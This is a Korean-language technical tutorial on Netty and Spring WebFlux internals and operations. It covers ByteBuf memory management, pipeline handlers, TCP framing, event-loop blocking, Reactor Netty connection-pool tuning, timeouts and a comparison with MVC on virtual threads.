· ChannelHandler = 컨베이어 위의 작업자 하나
· ChannelPipeline = 작업자들의 줄 (연결마다 1개)
· ChannelHandlerContext = 작업자가 앞뒤 사람에게 말 거는 창구
· 순서가 곧 로직이다 — addLast 순서를 틀리면 조용히 안 먹는다

ByteBuf — 참조 카운팅이 붙은 버퍼 ★

종류특징
힙 ByteBufJVM 힙에 할당. GC 가 치워 줌. 소켓에 쓸 때 복사 1회 발생
다이렉트 ByteBuf힙 밖(네이티브). 복사 없이 커널로 전달 = zero-copy. Netty 기본값 ★

할당자(Allocator) — 4.2 에서 기본값이 바뀌었습니다 ★

할당자특징
AdaptiveNetty 4.2 기본값. 실제 워크로드를 관찰해 버퍼 크기·전략을 자동 조정. pooled 보다 메모리를 적게 쓰고 가상 스레드와도 잘 맞습니다 ★
Pooled버퍼를 재사용해 GC 압력을 줄임. 4.1 까지의 기본값. 지금은 -Dio.netty.allocator.type=pooled 로 명시해야 씁니다
Unpooled매번 새로 할당. 느리지만 진단용으로 유용
4.1 시절 블로그를 그대로 믿지 마세요 — “Netty 기본은 PooledByteBufAllocator” 는 4.2 부터 사실이 아닙니다. 기본은 AdaptiveByteBufAllocator 입니다. 풀 기준으로 튜닝하던 io.netty.allocator.numDirectArenas 같은 옵션은 adaptive 에서는 의미가 없습니다.
ByteBuf buf = ctx.alloc().buffer(1024);   // refCnt = 1
buf.writeBytes(data);
buf.retain();                              // refCnt = 2 (다른 곳도 쓴다)
ReferenceCountUtil.release(buf);           // refCnt = 1
ReferenceCountUtil.release(buf);           // refCnt = 0 → 풀로 반납

// ⚠️ release 를 빠뜨리면 GC 가 안 치웁니다 = 다이렉트 메모리 누수
//    누수는 '한참 뒤 OOM' 으로만 드러나서 원인 추적이 지옥입니다
ResourceLeakDetector — 누수를 잡는 유일한 실용 도구입니다.
-Dio.netty.leakDetection.level=PARANOID (개발·부하 테스트 전용, 모든 버퍼 추적)
SIMPLE(기본, 1% 샘플링) · ADVANCED(샘플링 + 접근 위치 기록) · PARANOID(전수 검사, 느림)
로그에 LEAK: ByteBuf.release() was not called 가 뜨면 그 아래 스택이 마지막으로 만진 위치입니다.

Spring WebFlux 는 Netty 위에 이렇게 얹힌다

@RestController / RouterFunction
        ↓
DispatcherHandler          (스프링 웹플럭스)
        ↓
HttpHandler                (서버 중립 추상화)
        ↓
ReactorHttpHandlerAdapter  (Reactor Netty 로 변환)
        ↓
reactor.netty.http.server.HttpServer
        ↓
io.netty.*  ChannelPipeline / EventLoop / ByteBuf
// 서버 옵션을 직접 손대는 지점 — 스프링 부트가 주는 커스터마이저
@Bean
public NettyServerCustomizer nettyCustomizer() {
    return server -> server
            .option(ChannelOption.SO_BACKLOG, 4096)          // accept 대기 큐
            .childOption(ChannelOption.TCP_NODELAY, true)
            .idleTimeout(Duration.ofSeconds(60))
            .accessLog(true);
}

// application.yml 로 되는 것들
// server.netty.connection-timeout: 2s
// server.netty.idle-timeout: 60s
// server.max-http-request-header-size: 16KB

스레드 수 — 기본값과 실제 튜닝

항목기본값
worker 스레드 수max(availableProcessors(), 4)
변경 방법-Dreactor.netty.ioWorkerCount=16
select 스레드 수-Dreactor.netty.ioSelectCount=1
스레드 이름reactor-http-nio-1 … -N
// 컨테이너 안에서는 availableProcessors() 가 거짓말을 합니다
// Java 10+ 는 cgroup 을 읽지만, CPU limit 이 500m 이면 → 1 로 보고
//   → worker 4개 (하한) 로 뜨는데 실제 CPU 는 0.5개
//   → 스레드끼리 서로 CPU 를 뺏어 p99 가 튄다
// ✅ CPU limit 과 ioWorkerCount 를 '같은 수'로 맞추세요
//    resources.limits.cpu: "2"  +  -Dreactor.netty.ioWorkerCount=2

// 지금 몇 개로 떠 있는지 확인
Loggers.getLogger("reactor.netty").debug("...");
// 또는 액추에이터 스레드 덤프에서 reactor-http-nio-* 개수를 센다
늘린다고 빨라지지 않습니다 ★ — 이벤트 루프는 CPU 를 쉬지 않고 쓰는 구조라 코어 수보다 많이 만들면 컨텍스트 스위칭만 늘어납니다. 루프 스레드가 부족해 보인다면 십중팔구 “어딘가 블로킹이 있다”는 신호입니다 (다음다음 섹션).
FLUX 14

Netty 직접 다루기

대부분은 직접 쓸 일이 없습니다. 다만 사설 프로토콜·게임 서버·프록시를 만드는 순간 이게 유일한 선택지가 됩니다.

build.gradle.kts — 스프링 부트를 쓰면 starter-webflux 에 Netty 가 이미 들어 있습니다. 버전은 Boot BOM 에 맡기고 적지 마세요 (직접 박으면 부트가 관리하는 버전과 어긋납니다).
부트 없이 Netty 만 쓸 때만 implementation("io.netty:netty-all") 에 명시 버전을 붙입니다.

ServerBootstrap — 최소 에코 서버

public class EchoServer {

    public static void main(String[] args) throws Exception {
        EventLoopGroup boss   = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        EventLoopGroup worker = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ServerBootstrap b = new ServerBootstrap()
                .group(boss, worker)
                .channel(NioServerSocketChannel.class)
                .option(ChannelOption.SO_BACKLOG, 1024)              // 서버 소켓용
                .childOption(ChannelOption.TCP_NODELAY, true)        // 연결마다
                .childOption(ChannelOption.SO_KEEPALIVE, true)
                .childHandler(new ChannelInitializer<SocketChannel>() {
                    @Override protected void initChannel(SocketChannel ch) {
                        ch.pipeline()
                          .addLast(new LoggingHandler(LogLevel.DEBUG))
                          .addLast(new LengthFieldBasedFrameDecoder(
                                       65536, 0, 4, 0, 4))           // 길이 헤더 4바이트
                          .addLast(new LengthFieldPrepender(4))
                          .addLast(new StringDecoder(UTF_8))
                          .addLast(new StringEncoder(UTF_8))
                          .addLast(new EchoHandler());
                    }
                });

            ChannelFuture f = b.bind(9090).sync();
            f.channel().closeFuture().sync();          // 종료까지 대기
        } finally {
            boss.shutdownGracefully();
            worker.shutdownGracefully();
        }
    }
}

커스텀 핸들러

@ChannelHandler.Sharable          // 상태가 없을 때만 붙일 것
public class EchoHandler extends SimpleChannelInboundHandler<String> {

    @Override
    protected void channelRead0(ChannelHandlerContext ctx, String msg) {
        ctx.writeAndFlush("echo: " + msg);     // 응답
    }

    @Override
    public void channelActive(ChannelHandlerContext ctx) {
        log.info("접속 {}", ctx.channel().remoteAddress());
    }

    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
        log.error("핸들러 예외", cause);
        ctx.close();                            // ★ 안 닫으면 좀비 커넥션이 쌓인다
    }
}

// SimpleChannelInboundHandler 는 처리 후 ByteBuf 를 '자동 release' 합니다.
// ChannelInboundHandlerAdapter 를 직접 쓰면 → 반드시 직접 release 하세요.
public class RawHandler extends ChannelInboundHandlerAdapter {
    @Override public void channelRead(ChannelHandlerContext ctx, Object msg) {
        ByteBuf in = (ByteBuf) msg;
        try { /* 처리 */ } finally { ReferenceCountUtil.release(in); }   // 필수
    }
}

TCP 경계 문제 — 하프 패킷 · 스티키 패킷 ★

보낸 쪽:   [ 주문A ][ 주문B ][ 주문C ]

받는 쪽에 실제로 도착하는 모습(둘 다 정상):
  ① 스티키   [ 주문A주문B주문 ][ C ]     ← 뭉쳐서 옴
  ② 하프     [ 주문 ][ A주문B ][ 주문C ] ← 잘려서 옴

TCP 는 '바이트 스트림'이라 메시지 경계를 보장하지 않는다.
경계는 '내가' 만들어야 한다.
디코더경계를 정하는 방법
LengthFieldBasedFrameDecoder길이 헤더를 읽어 그만큼 자름 — 실무 표준 ★
DelimiterBasedFrameDecoder구분자(\n, \0)로 자름
LineBasedFrameDecoder줄바꿈으로 자름 (텍스트 프로토콜)
FixedLengthFrameDecoder항상 N바이트 고정
// 프레임 형식:  [ 길이(4바이트) ][ 본문 ]
new LengthFieldBasedFrameDecoder(
        1024 * 1024,  // maxFrameLength — 넘으면 TooLongFrameException (DoS 방어)
        0,            // lengthFieldOffset  : 길이 필드 시작 위치
        4,            // lengthFieldLength  : 길이 필드 크기
        0,            // lengthAdjustment   : 길이값 보정
        4);           // initialBytesToStrip: 앞 4바이트(헤더)는 버리고 넘김

// ⚠️ 디코더는 상태를 가집니다 → @Sharable 금지, 연결마다 새로 만들 것

ChannelOption — 자주 만지는 것만

옵션의미 · 실전값
SO_BACKLOGaccept 대기 큐. 리눅스 somaxconn과 둘 중 작은 값이 적용됩니다. 4096 권장
TCP_NODELAYNagle 끄기. 작은 패킷의 40ms 지연 제거 — 켜 두세요(true) ★
SO_KEEPALIVE죽은 연결 감지. 다만 기본 2시간이라 앱 레벨 하트비트가 더 실용적
SO_REUSEADDR재기동 시 Address already in use 방지
CONNECT_TIMEOUT_MILLIS클라이언트 연결 타임아웃. 기본 30초는 너무 깁니다 → 2초
WRITE_BUFFER_WATER_MARK느린 클라이언트 대비 송신 버퍼 한계. 넘으면 isWritable()==false
언제 Netty 를 직접 쓰나
① 사설 바이너리 프로토콜 — 금융 FIX·POS·IoT 장비 연동처럼 HTTP 가 아닌 경우
② 게임 서버 — 지연에 민감하고 연결이 오래 유지되는 경우
③ 프록시·중계 서버 — 바이트를 그대로 흘려보내야 할 때(zero-copy)
④ 수십만 동시 연결 — HTTP 서버 추상화의 오버헤드조차 아까울 때
그 외 웹 API 라면 직접 쓸 이유가 없습니다. WebFlux 가 이미 잘 감싸 놨습니다.

직접 다룰 때 반드시 넣는 두 가지 — 송신 백프레셔 · 유휴 감지

느린 클라이언트가 서버를 죽입니다 — isWritable ★

// write() 는 논블로킹 = '송신 버퍼에 쌓기'일 뿐입니다.
// 상대가 안 읽으면? 버퍼가 무한히 자랍니다 → OOM
// (브로드캐스트 서버에서 모바일 클라이언트 하나가 터널에 들어가면 재현)

// ① 수위 설정 — 넘으면 isWritable() 이 false 로
.childOption(ChannelOption.WRITE_BUFFER_WATER_MARK,
        new WriteBufferWaterMark(32 * 1024, 64 * 1024));  // low, high

// ② 쓰기 전에 확인 — 밀린 상대는 건너뛰거나 끊는다
void broadcast(Object msg) {
    for (Channel ch : channels) {
        if (ch.isWritable()) {
            ch.writeAndFlush(msg);
        } else {
            drops.increment();          // 버리거나
            // ch.close();              // 게임이면 강제 퇴장이 나을 때도
        }
    }
}

// ③ 다시 여유가 생기는 순간을 이벤트로 받기
@Override
public void channelWritabilityChanged(ChannelHandlerContext ctx) {
    if (ctx.channel().isWritable()) resumeSending();   // 밀린 것 재개
}
Reactor Netty·WebFlux 는 이걸 자동으로 합니다 — Flux 의 request 가 writability 와 연동돼 있습니다. Netty 를 직접 쓸 때만 이 처리가 통째로 내 몫이 됩니다. 브로드캐스트 코드에 isWritable() 검사가 없다면 그 서버는 미완성입니다.

죽은 연결 청소 — IdleStateHandler 3종 세트

// TCP 는 상대가 '조용히' 죽으면 모릅니다 (전원 뽑힘 · NAT 만료)
// → 좀비 연결이 쌓여 fd·메모리를 갉아먹습니다
ch.pipeline()
  .addLast(new IdleStateHandler(60, 30, 0))
  //        읽기 유휴 60s ┘  쓰기 유휴 30s ┘  └ 양쪽 0=끔
  .addLast(new HeartbeatHandler());

public class HeartbeatHandler extends ChannelDuplexHandler {
    @Override
    public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
        if (evt instanceof IdleStateEvent e) {
            switch (e.state()) {
                case WRITER_IDLE -> ctx.writeAndFlush(PING);  // 30초 조용하면 핑
                case READER_IDLE -> ctx.close();              // 60초 무응답 = 사망 판정
                default -> {}
            }
        }
    }
}

// 우아한 종료 — 순서가 있습니다
worker.shutdownGracefully(2, 15, TimeUnit.SECONDS).sync();
// ① 새 작업 거부 → ② 2초 유예(quiet period) 동안 잔여 처리
// → ③ 15초 안에 안 끝나면 강제 — sync() 없이 JVM 을 내리면
//    마지막 응답들이 잘려 나갑니다
하트비트 방향 — 서버→클라이언트 핑이 정석입니다. 클라이언트 핑에 의존하면 버그 있는 클라이언트가 좀비를 만들고, NAT·LB 의 유휴 타임아웃(보통 60~350초)보다 짧은 주기여야 중간 장비가 연결을 끊지 않습니다.
FLUX 15

이벤트 루프를 막지 마라

WebFlux 운영 장애의 절반 이상이 이 하나입니다. 코드 한 줄이 서버 전체를 세웁니다.

실제 장애 시나리오 — 잘 돌던 게이트웨이에 “관리자 화면용 통계 API” 하나가 추가됐습니다. 그 안에 레거시 JDBC 조회 한 줄(평균 300ms)이 들어 있었습니다.
· 관리자는 하루 열 번 호출 → QA 에서 아무 문제 없음
· 운영 배포 → 평소 p99 40ms 였던 전체 API 가 2~8초로 튐
· 원인: 워커 4개 중 하나가 300ms 동안 멈출 때마다 그 루프에 묶인 수천 개 연결이 전부 대기. 처리량이 25% 씩 계단식으로 붕괴.
· CPU 는 30% 로 한가하고, 스레드 덤프에도 “정상”으로 보여서 3일을 헤맸습니다.
워커 4개 중 1개가 300ms 막히면 — 트래픽의 25% 가 인질이 됩니다 worker-1 — JDBC 블로킹 연결 2,500개 — 전부 대기 여기 붙은 요청 전원 정지 worker-2 연결 2,500개 — 정상 정상 처리 worker-3 연결 2,500개 — 정상 정상 처리 worker-4 연결 2,500개 — 정상 정상 처리 전체 연결 10,000개 중 무엇이 멈췄나 — 막대 길이가 곧 비율 인질 2,500개 정상 7,500개 0 25 50 75 100 전체 연결 대비 % CPU 는 한가합니다 — 그래서 대시보드만 보면 아무 문제가 없어 보입니다 워커를 8개로 늘리면 인질 비율은 12.5% 로 줄지만 원인은 그대로입니다 — 블로킹을 전용 스케줄러로 빼세요
CPU 는 한가하고 스레드 덤프도 “정상” — 그런데 p99 만 튑니다. 블로킹의 피해는 그 요청이 아니라 같은 루프의 이웃 전부에게 갑니다.

무엇이 블로킹인가

코드왜 위험한가
JdbcTemplate · JPA소켓 read 에서 스레드가 멈춤
RestTemplate · .block()응답까지 스레드 점유
Thread.sleep()말할 것도 없음
synchronized 경합락 대기 = 블로킹
파일 I/O · Files.readAllBytes디스크가 느리면 그대로 멈춤
큰 JSON 직렬화 · 이미지 처리CPU 도 블로킹입니다 (양보를 안 함)
System.out.println 폭주콘솔 출력은 동기 I/O — 의외의 범인 ★
// ❌ 이벤트 루프에서 그대로 실행됨
@GetMapping("/stat")
public Mono<Stat> stat() {
    Stat s = jdbcDao.heavyQuery();      // 300ms 동안 루프 정지 💥
    return Mono.just(s);
}

// ✅ 별도 스레드로 격리
@GetMapping("/stat")
public Mono<Stat> stat() {
    return Mono.fromCallable(() -> jdbcDao.heavyQuery())
               .subscribeOn(Schedulers.boundedElastic());   // ★
}

// ✅ CPU 바운드는 parallel 로
flux.publishOn(Schedulers.parallel())
    .map(this::resizeImage);

// boundedElastic 기본 상한: 10 × CPU 코어 수, 큐 10만
// → 이것도 무한이 아닙니다. 넘치면 RejectedExecutionException
Schedulers.newBoundedElastic(50, 1000, "legacy-jdbc");

BlockHound — 블로킹을 컴파일하듯 잡는다 ★

testImplementation("io.projectreactor.tools:blockhound:1.0.13.RELEASE")
Java 13+ 에서는 -XX:+AllowRedefinitionToAddDeleteMethods 옵션이 필요합니다.
// 테스트 부트스트랩에서 한 번만
@BeforeAll
static void installBlockHound() {
    BlockHound.builder()
        // 우리가 '의도적으로' 허용하는 곳은 화이트리스트로
        .allowBlockingCallsInside(
            "com.example.legacy.LegacyJdbcDao", "heavyQuery")
        .allowBlockingCallsInside(
            "java.util.UUID", "randomUUID")        // 엔트로피 대기
        .blockingMethodCallback(m -> {
            log.error("🚫 블로킹 감지: {}", m);
            throw new BlockingOperationError(m);
        })
        .install();
}

// 잡히면 이렇게 나옵니다
// reactor.blockhound.BlockingOperationError:
//   Blocking call! java.net.SocketInputStream#socketRead0
//     at com.example.OrderService.stat(OrderService.java:42)
//   ← 몇 번째 줄인지까지 정확히 찍힙니다
운영에는 켜지 마세요 — BlockHound 는 바이트코드를 계측하므로 성능 비용이 큽니다. 테스트·부하 테스트 환경에서만 켜고, CI 에서 통합 테스트를 돌려 블로킹이 들어오는 순간 빌드를 깨뜨리는 것이 정석입니다.

핸들러 안의 무거운 작업 — EventExecutorGroup

// Netty 를 직접 쓸 때, 특정 핸들러만 별도 스레드 풀에서 돌린다
private static final EventExecutorGroup BIZ =
        new DefaultEventExecutorGroup(16);

ch.pipeline()
  .addLast(new HttpServerCodec())          // 루프 스레드에서
  .addLast(BIZ, new BusinessHandler());    // ★ 이 핸들러만 BIZ 스레드에서

// 주의 ① 스레드가 바뀌므로 ByteBuf 를 그대로 넘기면 수명 관리가 어려워집니다
//        → 되도록 POJO 로 디코딩한 '뒤' 지점에 붙이세요
// 주의 ② 같은 채널의 순서는 유지되지만, 채널 간 순서는 보장되지 않습니다
진단 3종 세트 — ① jcmd <pid> Thread.print 를 2초 간격 3회 떠서 reactor-http-nio-* 가 매번 같은 스택에 있으면 그게 범인입니다. ② CPU 는 낮은데 처리량이 안 오르면 거의 항상 블로킹입니다. ③ JFR 의 Socket Read / File Read 이벤트에 루프 스레드 이름이 보이면 확정.
FLUX 16

Reactor Netty 튜닝 · 커넥션 풀

WebClient 는 내부적으로 커넥션 풀을 씁니다. 이 설정을 모르면 “가끔 502 · 가끔 타임아웃”이 영원히 안 잡힙니다.

ConnectionProvider — 풀 설정 전부

ConnectionProvider provider = ConnectionProvider.builder("order-api")
    .maxConnections(200)                            // 호스트당 최대 커넥션 ★
    .pendingAcquireMaxCount(1000)                   // 대기 큐 (기본: max × 2)
    .pendingAcquireTimeout(Duration.ofSeconds(3))   // 대기 한계 (기본 45초 — 너무 김) ★
    .maxIdleTime(Duration.ofSeconds(20))            // 놀고 있는 커넥션 폐기 ★★
    .maxLifeTime(Duration.ofMinutes(5))             // 오래된 커넥션 강제 교체
    .evictInBackground(Duration.ofSeconds(30))      // 유휴 커넥션 청소 주기
    .lifo()                                         // 최근 쓴 것부터 재사용 (기본은 fifo)
    .metrics(true)                                  // ★ 마이크로미터 연동
    .build();

HttpClient httpClient = HttpClient.create(provider)
    .option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 2000)
    .responseTimeout(Duration.ofSeconds(5))         // 응답 읽기 사이 최대 공백 (요청 단위) ★
    .doOnConnected(c -> c
        .addHandlerLast(new ReadTimeoutHandler(5))  // 5초간 수신 없음
        .addHandlerLast(new WriteTimeoutHandler(5)))
    .compress(true)
    .keepAlive(true)
    .metrics(true, Function.identity());            // URI 태그 (카디널리티 주의)

@Bean
WebClient orderClient(WebClient.Builder b) {
    return b.baseUrl("https://order.internal")
            .clientConnector(new ReactorClientHttpConnector(httpClient))
            .build();
}
설정기본값 · 권장
maxConnections기본 max(코어×2, 16) → 대개 너무 작습니다
pendingAcquireTimeout기본 45초 → 3초 이하로 낮추세요 ★
maxIdleTime기본 없음(무한) → 반드시 설정 ★★
maxLifeTime기본 없음 → 5~10분 (LB 뒤 IP 변경 대응)

가장 흔한 사고 — keep-alive 타임아웃 불일치 ★★

우리 쪽 풀:   maxIdleTime = 무한 (기본값)
상대 서버:    keepAliveTimeout = 5초  (Node.js 기본 · nginx 는 75초)

t=0    요청 → 커넥션 A 사용 → 풀에 반납
t=5s   상대 서버가 A 를 조용히 닫음 (FIN)
       우리 풀은 아직 "A 는 살아 있다"고 믿는다
t=6s   요청 → 풀에서 A 를 꺼내 전송
       → 이미 닫힌 소켓 → 즉시 실패

증상: PrematureCloseException / Connection prematurely closed
      "BEFORE response" · 재현이 안 됨 · 트래픽 적은 새벽에 더 잦음 💥
해결 공식 — maxIdleTime 을 상대 서버 keep-alive 보다 짧게.
nginx keepalive_timeout 75s → 우리 maxIdleTime 20~60s
AWS ALB idle timeout 60s → 우리 maxIdleTime 30s
모르면 보수적으로 20초. 커넥션을 좀 더 자주 새로 맺는 비용이 간헐적 실패를 쫓아다니는 비용보다 훨씬 쌉니다.

타임아웃 3종 — 역할이 다릅니다

타임아웃어디를 재는가
CONNECT_TIMEOUT_MILLISTCP 핸드셰이크까지
responseTimeout요청을 보낸 뒤 응답 읽기 사이의 최대 공백 — 요청 단위로 걸리고 풀어짐 ★
ReadTimeoutHandler패킷 사이 무응답 시간 — 커넥션 단위 (풀에서 놀 때도 남아 있음)
Mono .timeout()리액티브 체인 전체 (최후 방어선)
SSE·NDJSON 같은 장시간 스트리밍은 이벤트 간격이 responseTimeout 보다 길면 정상 연결이 끊깁니다. 스트리밍 요청만 httpRequest(r -> r.responseTimeout(...)) 로 넉넉하게 따로 주세요 (전체 체인 한계는 .timeout()).

메트릭 — 풀 상태를 눈으로

// .metrics(true) 를 켜면 마이크로미터로 자동 노출됩니다
reactor.netty.connection.provider.total.connections   { name="order-api" }
reactor.netty.connection.provider.active.connections
reactor.netty.connection.provider.idle.connections
reactor.netty.connection.provider.pending.connections  // ★ 이게 0 이 아니면 부족
reactor.netty.connection.provider.max.connections

reactor.netty.http.client.data.received
reactor.netty.http.client.response.time                // 히스토그램
reactor.netty.http.client.connect.time
management:
  metrics:
    enable:
      reactor.netty: true
  endpoints.web.exposure.include: prometheus,health,metrics
  prometheus.metrics.export.enabled: true
카디널리티 폭발 주의 — .metrics(true, Function.identity()) 는 URI 를 그대로 태그로 씁니다. /users/12345 같은 경로가 있으면 시계열이 무한히 늘어나 프로메테우스가 먼저 죽습니다.
✅ .metrics(true, uri -> uri.replaceAll("/\\d+", "/{id}")) 처럼 반드시 정규화 함수를 넣으세요.

wiretap — 바이트 수준 디버깅

HttpClient.create(provider)
    .wiretap("reactor.netty.http.client.HttpClient",
             LogLevel.DEBUG, AdvancedByteBufFormat.TEXTUAL);
// SIMPLE   : 이벤트 이름만
// HEX_DUMP : 16진수 덤프 (바이너리 프로토콜)
// TEXTUAL  : 사람이 읽는 텍스트 ★ (HTTP 디버깅용)
logging:
  level:
    reactor.netty.http.client: DEBUG
    reactor.netty.resources: DEBUG     # 풀 획득/반납 로그
운영에서 wiretap 을 켜 두면 요청 본문이 통째로 로그에 남습니다. 토큰·주민번호·카드번호가 그대로 찍힙니다. 로컬·스테이징 전용으로만 쓰세요.

커넥션 풀 고갈 — 증상과 진단

증상원인
PoolAcquireTimeoutException풀 고갈. maxConnections 부족 또는 상대가 느림
PrematureCloseExceptionkeep-alive 불일치 (위 참고)
응답은 오는데 p99 만 튐pending.connections 확인 — 큐에서 대기 중
커넥션이 계속 늘어남응답 본문을 소비하지 않아 반납이 안 됨 ★
// ⚠️ 커넥션 누수 1위 — 본문을 안 읽고 버리기 (옛 exchange() 시절의 대표 사고)
//    exchangeToMono 는 함수가 끝나면 남은 본문을 자동 해제하지만,
//    ClientResponse 를 함수 밖으로 들고 나가 나중에 읽으면 같은 사고가 납니다
client.get().uri("/ping").exchangeToMono(res -> {
    if (res.statusCode().is2xxSuccessful()) return Mono.just("ok");
    return Mono.just("fail");        // 본문은 여기서 끝나면 자동 해제
});

// ✅ 본문이 필요 없으면 명시적으로 비우는 습관이 가장 안전
client.get().uri("/ping").exchangeToMono(res ->
    res.releaseBody().thenReturn(res.statusCode().value()));

// 또는 그냥 retrieve() 를 쓰세요 — 알아서 처리해 줍니다
client.get().uri("/ping").retrieve().toBodilessEntity();

// 필요한 풀 크기 계산 (리틀의 법칙)
// maxConnections ≒ 목표 RPS × 상대 응답시간(초) × 1.5
// 예) 500 RPS × 0.08s × 1.5 ≒ 60
FLUX 17

운영 · 튜닝 종합

여기까지 오면 남는 질문은 하나입니다 — “그래서 지금도 WebFlux 를 써야 하나?”

네이티브 트랜스포트 — epoll · io_uring

runtimeOnly("io.netty:netty-transport-native-epoll::linux-x86_64")
runtimeOnly("io.netty:netty-transport-native-kqueue::osx-aarch_64") (맥)
콜론 두 개 = 버전 생략(Boot BOM 이 채움) + 분류자(classifier) 지정.
// 넣기만 하면 Reactor Netty 가 자동으로 감지해 씁니다
// 확인
log.info("native = {}", reactor.netty.resources.LoopResources.hasNativeSupport());

// 강제로 끄기 (문제 격리용)
System.setProperty("reactor.netty.native", "false");

// Netty 를 직접 쓸 때는 채널 클래스를 직접 골라야 합니다
Class<? extends ServerChannel> ch = Epoll.isAvailable()
        ? EpollServerSocketChannel.class
        : NioServerSocketChannel.class;
트랜스포트차이
NIOJDK 기본. 어디서나 동작. 기준선
epoll리눅스 전용. GC 압력 ↓ · 지연 5~15% 개선. SO_REUSEPORT·TCP_FASTOPEN 사용 가능 ★
kqueue맥·BSD 용
io_uringNetty 4.2 정식(io.netty:netty-transport-native-io_uring). 커널 5.10+ 필요. 고부하에서 syscall 비용이 크게 줄지만 커널 버전 편차가 큼 — 반드시 측정 후 도입
netty-incubator-transport-native-io_uring 은 폐기됐습니다. 인큐베이터 모듈을 쓰던 예제가 아직 검색에 많이 나오는데, io_uring 은 4.2 에서 본체(io.netty)로 들어왔습니다. 인큐베이터 좌표는 더 이상 갱신되지 않으니 옮기세요.

파일 디스크립터 — 조용한 상한선

# 소켓 하나 = FD 하나. 1만 연결 = FD 1만 개.
ulimit -n                      # 기본 1024 → 절대 부족
ulimit -n 65536

# 컨테이너 (docker-compose)
ulimits: { nofile: { soft: 65536, hard: 65536 } }

# 지금 몇 개 쓰는지
ls /proc/<pid>/fd | wc -l
cat /proc/<pid>/limits | grep files

# 넘치면: java.io.IOException: Too many open files
#         → accept 가 조용히 실패하고 신규 연결만 안 됩니다 (기존은 정상)
#         → "일부 사용자만 접속이 안 돼요" 로 보고됩니다 ★

다이렉트 메모리 — 힙 밖의 OOM ★

# Netty 는 다이렉트 버퍼를 기본으로 씁니다 → 힙이 아닙니다
-XX:MaxDirectMemorySize=512m       # 미지정 시 = -Xmx 와 같은 크기
-Dio.netty.maxDirectMemory=536870912   # Netty 자체 상한 (별도 계산)

# 컨테이너 메모리 = 힙 + 다이렉트 + 메타스페이스 + 스레드스택 + 네이티브
# 예) limits.memory 2Gi 라면
#     -XX:MaxRAMPercentage=50  (힙 1Gi)
#     -XX:MaxDirectMemorySize=512m
#     나머지 500Mi 를 여유로 남긴다  ← 이걸 안 남기면 OOMKilled
증상 구분법
· java.lang.OutOfMemoryError: Java heap space → 힙 문제. 힙덤프를 보세요.
· OutOfMemoryError: Direct buffer memory → 다이렉트 메모리 고갈. ByteBuf 누수 의심.
· io.netty.util.internal.OutOfDirectMemoryError → Netty 가 자체 카운터로 막은 것. 거의 확실히 누수입니다.
· 로그 없이 컨테이너가 그냥 죽음(exit 137) → OOMKilled. 힙 밖 사용량을 재세요.

ByteBuf 누수 추적 실전

# 1) 부하 테스트 환경에서 PARANOID 로 켠다
-Dio.netty.leakDetection.level=PARANOID
-Dio.netty.leakDetection.targetRecords=64

# 2) 로그에서 이 문자열을 찾는다
#    LEAK: ByteBuf.release() was not called before it's garbage-collected
#    Recent access records:
#      #1: io.netty.buffer.AdvancedLeakAwareByteBuf.readBytes(...)
#          at com.example.ProxyHandler.channelRead(ProxyHandler.java:57)  ← 범인

# 3) 힙 밖 사용량을 JVM 에게 직접 물어본다
jcmd <pid> VM.native_memory summary        # -XX:NativeMemoryTracking=summary 필요
jcmd <pid> GC.heap_info

# 4) 할당자를 바꿔 원인을 가른다
-Dio.netty.allocator.type=unpooled   # 재사용을 꺼서 '누수인지 파편화인지' 가른다
                                     #   unpooled 로도 계속 늘면 → 진짜 누수(release 누락)
                                     #   unpooled 에서 멎으면  → 풀 파편화·풀 크기 문제
-Dio.netty.allocator.type=pooled     # 4.1 시절 기본값으로 되돌려 비교 (4.2 기본은 adaptive)
누수 예방 규칙 3개 — ① 가능하면 SimpleChannelInboundHandler 를 쓴다(자동 release). ② 직접 받은 ByteBuf 는 try/finally 로 release. ③ 다음 핸들러로 넘긴 버퍼는 내가 release 하지 않는다 — 소유권이 넘어갑니다.
기준WebFlux + NettyMVC + 가상 스레드 (Java 21+)
동시 연결 1만+✅ 검증된 영역✅ 가능 (스택 메모리만 주의)
DB 접근R2DBC 필수 — JPA 를 못 씁니다✅ JPA·MyBatis 그대로 ★
기존 코드 재사용전면 재작성✅ 설정 한 줄, 코드 그대로 ★
스택 트레이스❌ 읽기 매우 어려움✅ 평소와 동일
디버거 · 프로파일러❌ 흐름 추적이 어려움✅ 그대로 동작
블로킹 한 줄의 대가💥 서버 전체 정지캐리어 스레드 하나만 (핀 되는 경우 제외)
백프레셔✅ 프로토콜 수준으로 내장 ★❌ 직접 만들어야 함 (세마포어 등)
SSE · 스트리밍 · WebSocket✅ 가장 자연스러움 ★△ 가능하지만 연결당 스레드
API 수십 개 병렬 조합✅ zip 한 줄✅ 구조적 동시성 (StructuredTaskScope — 아직 preview) · 또는 CompletableFuture
메모리(연결 1만 기준)✅ 가장 적음여유 있음 (가상 스레드 스택은 힙에)
팀 학습 비용❌ 매우 큼✅ 거의 없음

그래서 언제 갈아타야 하나 ★

MVC + 가상 스레드로 가세요 — 다음 중 둘 이상이면 WebFlux 를 고집할 이유가 없습니다.
① 하는 일이 “DB 읽고 JSON 주기” 위주다
② JPA 의 도메인 모델이 필요하다 (연관관계·더티 체킹)
③ 팀에 리액티브를 자신 있게 읽는 사람이 2명 미만이다
④ 장애 때 스택 트레이스로 원인을 못 찾은 적이 있다
⑤ 블로킹 라이브러리를 boundedElastic 으로 감싸는 코드가 늘고 있다 — 이건 “리액티브를 흉내만 내고 비용만 낸다”는 신호입니다.
WebFlux 를 유지하세요 — ① SSE·WebSocket·스트리밍이 핵심 기능이다 ② 게이트웨이·프록시·BFF 처럼 수십 개 백엔드를 부채꼴로 호출한다 ③ 백프레셔가 실제로 필요한 파이프라인이다 ④ 이미 잘 돌고 있고 팀이 익숙하다 — 돌아가는 걸 굳이 바꾸지 마세요.

운영 반입 전 체크리스트

[ 스레드 · 블로킹 ]
□ CI 통합 테스트에 BlockHound 가 켜져 있다
□ CPU limit 과 reactor.netty.ioWorkerCount 가 같다
□ boundedElastic 의 상한을 명시했다 (기본 10×코어 의존 금지)

[ 커넥션 · 타임아웃 ]
□ 모든 WebClient 에 responseTimeout 이 있다
□ maxIdleTime < 상대 서버 keep-alive timeout
□ pendingAcquireTimeout 을 3초 이하로 낮췄다
□ exchangeToMono 를 쓰는 곳마다 본문을 소비/해제한다
